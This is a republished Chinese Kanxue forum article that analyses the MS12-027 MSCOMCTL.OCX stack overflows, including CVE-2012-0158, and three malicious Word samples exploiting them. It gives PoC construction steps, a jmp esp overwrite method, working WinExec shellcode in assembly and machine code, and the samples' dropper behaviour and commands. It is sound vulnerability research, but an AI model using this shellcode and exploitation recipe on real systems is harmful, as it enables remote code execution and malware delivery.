MS12-027及利用样本分析

admin 2021年5月5日18:12:09评论38 views字数 5253阅读17分30秒阅读模式
MS12-027及利用样本分析
本文为看雪论坛优秀文章
看雪论坛作者ID:免孑



0x00 前言




分析环境:

* OS版本:Windows 7 Service Pack 1 x86

* Office版本:Professional 2007

* MSCOMCTL.OCX版本:6.01.9545


该版本MSCOMCTL.OCX存在两处缓冲区溢出(具体为栈溢出)漏洞,一处为CVE-2012-0158,另一处无CVE编号,均在MS12-027中修补。


0x01 CVE-2012-0158




0x01.1 漏洞成因


MSCOMCTL.OCX中CObj::Load函数对输入数据进行错误校验,第二次调用ReadBytesFromStreamPadded()时,会造成溢出,进而可以劫持执行流。


0x01.2 漏洞分析


0x01.2.a POC构造


通过Excel解析ListView控件时调用漏洞函数的原理构造POC,详见下文分析。

 

在Excel中创建ListView控件并添加ListItem子对象使其调用漏洞函数CObj::Load。此处用VBA代码进行添加并将其编译生成对象,为避免保存失败,编译后需删除相应代码并保存文件:


MS12-027及利用样本分析


将保存后文件拖入winhex,找到CObj类,修改相应的十六进制令其大于8并保存文件,再次打开Excel弹出报错则表明已成功触发漏洞:


MS12-027及利用样本分析


0x01.2.b 漏洞详细分析


Ollydbg附加至Excel并打开构造好的POC,Excel报错将弹出报错,Ollydbg将停在0x65006B处。

 

此时栈中情况如下图所示。可以猜测在加载MSCOMCTL模块时出现问题,那么在该模块处下断点并重新加载:


MS12-027及利用样本分析


最终发现执行至0x275c8a56处发生错误,此时栈情况如下,其返回地址为0x65006B:


MS12-027及利用样本分析


发生错误的位置向上回溯,单步调试至0x275C8A05处,发现调用该函数后,栈被覆盖:

MS12-027及利用样本分析

该参数读入长度0x18,是构造POC时修改的读入长度:

MS12-027及利用样本分析

寄存器eax值为需要读入的字符地址,而这段字符就是Excel中Cobj关键字后的内容:

MS12-027及利用样本分析

MS12-027及利用样本分析

在关键函数0x275C8A05内部,0x275C878D有一处验证变量值的语句,为方便观察笔者将数值修改为0x18、0x19。构造POC时修改的两个数值前者为读入长度,后者为验证参数。但在读入文件时两个数同时被读入,因此该验证可通过修改文件数据直接绕过。
 
MS12-027及利用样本分析

最终执行拷贝的语句在0x275c87cb处,执行后栈发生改变:
 
MS12-027及利用样本分析

结合MSCOMCTL.OCX模块的IDA伪代码:

MS12-027及利用样本分析

0x01.2.c 利用思路及shellcode编写


首先将覆盖长度修改为更大数值,之后修改返回地址指向jmp esp指令,将Shellcode置于返回地址偏移0x8处使其能成功被执行。

(1) Shellcode(硬编码)

通过Stud_PE获取Kernel32.dll模块基址及WinExec偏移,构造语句WinExec("AAAA.exe", 5)
int main(void){ __asm{ PUSH EBP MOV EBP, ESP XOR EAX,EAX PUSH EAX PUSH 6578652Eh //".exe" PUSH 41414141h //"AAAA" //若此处修改为636c6163,就能弹出计算器 MOV EAX,ESP PUSH 5 PUSH EAX // "AAAA.exe" MOV EAX,7783e5fdh //WinExec("AAAA.exe", 5) CALL EAX MOV ESP,EBP POP EBP } return 0;}

转换成机器码为:
558BEC558BEC33C050682E65786568414141418BC46A0550B8FDE58377FFD08BE55D

(2) Shellcode(动态获取模块基址)

此处参考《加密与解密(第四版)》十四章相关思路,通过TEB查找法获取Kernel32.dll基址,进而得到其导出表地址以获取LoadLibrary()和GetProcessAddress()函数地址,通过它们组合来获取任意DLL中的API地址。
 
汇编代码如下:
int main(void){
__asm{ //查找kernel32.dll基址 XOR EAX, EAX MOV EAX, DWORD PTR FS : [0x30]//PEB MOV EAX, DWORD PTR [EAX + 0xC]//PEB_LDR_DATA MOV ESI, DWORD PTR [EAX + 0x14]//不同操作系统偏移不同 lodsd XCHG EAX, ESI lodsd MOV EBX, DWORD PTR [EAX + 0x10]//获取kernel32基址

MOV EDX, DWORD PTR [EBX + 0X3C]// e_lfanew MOV EDX, DWORD PTR [EBX + EDX + 0X78] // ETA ADD EDX, EBX MOV ESI, DWORD PTR [EDX+ 0X20]//namestable ADD ESI, EBX XOR ECX, ECX
GET_FUNCTION: INC ECX lodsd ADD EAX, EBX// 读取函数名称 CMP DWORD PTR [EAX], 0X50746547 JNZ GET_FUNCTION CMP DWORD PTR [EAX + 0X4], 0x41636f72 JNZ GET_FUNCTION CMP DWORD PTR [EAX + 0X8], 0x65726464 JNZ GET_FUNCTION
MOV ESI, [EDX + 0X24] ADD ESI, EBX MOV CX, WORD PTR [ESI + ECX * 2] DEC ECX MOV ESI, DWORD PTR [EDX + 0X1C] ADD ESI, EBX MOV EDX, DWORD PTR [ESI + ECX * 4] ADD EDX, EBX //GETprocAddress

XOR ECX, ECX push 0X00636578 //xec PUSH 0X456E6957 //WinE PUSH ESP PUSH EBX CALL EDX


XOR ECX,ECX PUSH ECX PUSH 0X6578652E //".exe" PUSH 0X41414141 //"AAAA" //若此处修改为636c6163,就能弹出计算器 MOV EBX,ESP PUSH 5 PUSH EBX CALL EAX
} return 0;}

转换成机器码为:
MS12-027及利用样本分析
此处需要注意的是:机器码过长会超出构造POC时设置的代码段的长度,这里笔者采用了维一零师傅的方式,代码修改如下,以保证Shellcode正常读入及执行:
Dim L1 As ListItemDim key1 As StringDim i As Integeri = 0key1 = "key1"While (i < 20) key1 = key1 + key1 i = i + 1Wend'MsgBox (key1)Set L1 = ListView1.ListItems.Add(1, key1 + "1", "test1", 0, 0)Set L2 = ListView1.ListItems.Add(2, key1 + "2", "test2", 0, 0)Set L3 = ListView1.ListItems.Add(3, key1 + "3", "test3", 0, 0)

0x01.3 利用样本分析


0x01.3.a 基本信息


NAME: malware_1264.doc
MD5: 
F393FDC7F3853BC7C435C13A4962C688
SHA1: 
48510754C8FD91E3CD5930AF7AE755D4AA2B6D29

0x01.3.b 详细分析


0x275c8a56处为漏洞触发位置,通过跳板指令jmp esp转至Shellcode执行并解密数据:

MS12-027及利用样本分析

通过TEB查找法获取kernel32.dll基址并依次查找API函数地址:

MS12-027及利用样本分析

判断文件大小以确认是否为样本文件,是则获取其路径:

MS12-027及利用样本分析

打开文件,并获取读取写入权限:

MS12-027及利用样本分析

获取临时目录地址并为临时文件创建一个名称:

MS12-027及利用样本分析

获取样本文件名并入栈,随后获取临时目录地址,拼接地址得到"C:\Users\用户名
\AppData\Local\Temp\334fe74b0167a50a35575ccb6058d03a98b11e158d05a41271aab6c9161047db.doc":

MS12-027及利用样本分析

创建新文件并获取写权限,将数据解密后写入文件,该文件为一PE文件:

MS12-027及利用样本分析

调用WinExec执行该tmp文件:

MS12-027及利用样本分析

删除
SoftwareMicrosoftOffice10.0WordResiliency注册表项,以清理记录:

MS12-027及利用样本分析

在TEMP目录下创建新的文档,将数据解密并写入文档,该文档为doc格式:

MS12-027及利用样本分析

MS12-027及利用样本分析

MS12-027及利用样本分析

跳转至WinExec执行该命令,最终调用TerminateProcess函数退出:

MS12-027及利用样本分析


0x02 无CVE编号




0x02.1 漏洞成因


MSCOMCTL.OCX中LoadMFCPropertySet函数为MultiByteStr变量分配0x148字节栈空间,复制数据时未做有效验证,可通过构造数据造成栈溢出,进而劫持执行流。

MS12-027及利用样本分析


0x02.2 利用样本分析


0x02.2.a 基本信息


NAME: virus.doc
MD5: 
6845288E2BE0BE1ADBC3A3D4C6AAAA63
SHA-1: 
83C0D54DCC948F0C91907DB8FA69CE776CBDD6B2

0x02.2.b 详细分析


依旧在MSCOMCTL.OCX模块设置断点并调试。当运行至0x75618d8c处,此时栈中情况如下图所示,可以猜测文件已经触发漏洞并成功执行Shellcode:

MS12-027及利用样本分析

从函数返回地址向上回溯,在样本中查找可得到如下信息:

MS12-027及利用样本分析

0x27602e9a处为漏洞触发位置,执行过后Shellcode将被复制到栈中:

MS12-027及利用样本分析

通过ROP+jmp esp,跳转至Shellcode执行:

MS12-027及利用样本分析

下面对Shellcode进行详细分析。首先是对数据进行解码:

MS12-027及利用样本分析

获取函数调用地址:

MS12-027及利用样本分析

当判断已经查找完最后一个API函数后,程序将执行LoadLibrary("ntdll"):

MS12-027及利用样本分析

以上Shellcode执行结束后栈中空间如下图所示:

MS12-027及利用样本分析

判断文件大小是否超过0x2000,是则向后移动文件指针。读取文件数据,通过文件中标志位确定查找的文件是否正确:

MS12-027及利用样本分析

从堆中分配指定字节数,将数据读入,函数执行后内存如下:

MS12-027及利用样本分析

遍历进程模块,之后将样本文件地址写入内存:

MS12-027及利用样本分析

对读入的数据进行解密,此处将数据处理后是一个PE文件:

MS12-027及利用样本分析

获取临时目录地址并写入内存,执行后内存中数据为cmd.exe /c start WINWORD.EXE /q "C:\Users\用户名\AppData\Local\Temp\:
 
MS12-027及利用样本分析

在临时目录下创建名为virus.doc的文件,在写入数据后关闭句柄,随后执行cmd.exe /c start WINWORD.EXE /q "C:\Users\用户名\AppData\Local\Temp\virus.doc:

MS12-027及利用样本分析

于临时目录下创建名为temp.tmp的文件,设置属性为隐藏,写入数据后关闭句柄,随后执行C:\Users\用户名\AppData\Local\Temp\temp.tmp

MS12-027及利用样本分析

检索当前进程的伪句柄,随后终止指定的进程及其所有线程:

MS12-027及利用样本分析

0x02.3 另一样本


NAME:7ZzOmweGVb.doc
MD5:
02b8ba227266dfcefb5958f7dd2fbeaf
SHA-1:
5dd79bfa71118e9dec11ff65d37dfa0254e6c536

MS12-027及利用样本分析

该样本与0x2.2中样本利用方法相同,不做赘述。



0x03 参考链接




1. CVE-2012-0158(ms12-027)漏洞分析与利用—维一零
https://weiyiling.cn/one/cve_2012_0158_ms12-027

2. 手把手教你如何构造office漏洞EXP(第一期)
https://www.anquanke.com/post/id/84520

3. 永远的经典:CVE-2012-0158漏洞分析、利用、检测和总结—银雁冰
https://www.anquanke.com/post/id/91643

4. Windows平台shellcode开发入门(三)
https://www.freebuf.com/articles/system/97215.html

5. 不知是不是新的 mscomctl 漏洞(附件是病毒样本,勿直接运行)—看雪
https://bbs.pediy.com/thread-172615.htm


MS12-027及利用样本分析


看雪ID:免孑 

https://bbs.pediy.com/user-home-914073.htm

  *本文由看雪论坛 免孑 原创,转载请注明来自看雪社区。



MS12-027及利用样本分析

《安卓高级研修班》2021年6月班火热招生中!



# 往期推荐





MS12-027及利用样本分析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



MS12-027及利用样本分析

球分享

MS12-027及利用样本分析

球点赞

MS12-027及利用样本分析

球在看



MS12-027及利用样本分析

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):MS12-027及利用样本分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月5日18:12:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MS12-027及利用样本分析http://cn-sec.com/archives/366414.html

发表评论

匿名网友 填写信息